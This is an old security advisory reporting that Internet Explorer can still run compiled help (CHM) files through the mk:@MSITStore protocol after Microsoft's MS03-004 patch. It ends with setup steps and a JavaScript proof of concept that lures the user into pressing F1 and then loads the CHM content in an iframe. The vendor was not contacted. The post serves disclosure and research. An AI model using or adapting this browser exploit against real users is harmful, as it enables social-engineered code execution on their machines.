CHM Attacks are still alive

===========================

Title: CHM Attacks are still alive

Date: Tuesday, September 02, 2003

Software: IE (What a nice program!!!)

Vendor: Microsoft Corp. (I love Microsoft)

Patch: N/A

Author: Arman Nayyeri, arman-n (at) Phreaker (dot) net [email concealed]

Vendor Status:

==============

Microsoft was not contacted, because I don't know email address of

Microsoft.

Description:

============

After releasing MS03-004 patch, it is still possible to execute a chm file

without using of showHelp() command.

We can use mk:@MSITStore to execute CHM files, but with some tricks.

1.first we must have an help window opened in order to chm file to work

correctly.

2.We must open a window (or an iframe) that points to

mk:@MSITStore:pathof.chm::/compiledhtmlfilewithinchm.html

The first one is hard but easy with the help of the user.

We can say to user to press F1 key then by using a onkeydown event go to

step 2.

As easy as this!!!!!

The microsoft patch just stop showHelp() functionality but it is still

possible.

If you use a url for chm file ,it will open and show the content of file

but do not execute programs without generating any errors. (I test it on

one chm file ,you can try more, maybe its worked!)

But in the case of sandblad #11 ,I can't produce it without showHelp(),

and I need the help of Andreas.

Andreas!, I believe that it will work, so try it!!.

Exploit

=======

As you can see, here is the simple javascript code that I write to exploit

this.

you must:

1.make a chm file and save it as c:\msit.chm (download free tool for

making a chm file from http://go.microsoft.com/fwlink/?LinkId=14188 )

2.remove all ! from script

3.create a html file and copy the code into that

4.open the html page and press F1 key (at the top left corner of your

keyboard)

(you may need to increase Timeout to allow the IE help to be opened)

-------------------------------BEGINING OF FILE---------------------------

<!h2>You should press "F1" key (at the top left corner of your keyboard)

</h2>

<!script>

function gotKey(){

if (event.keyCode==112){

    setTimeout(

        function () {

document.write('<iframe id=I1

src="mk:@MSITStore:c:\\msit.chm::/page.html"></'+'iframe><br><h3>I Love

IRAN<br>R/\/\an#0001</h3>');

        },

        1194

    );

}

}

document.onkeydown = gotKey;

<!/script>
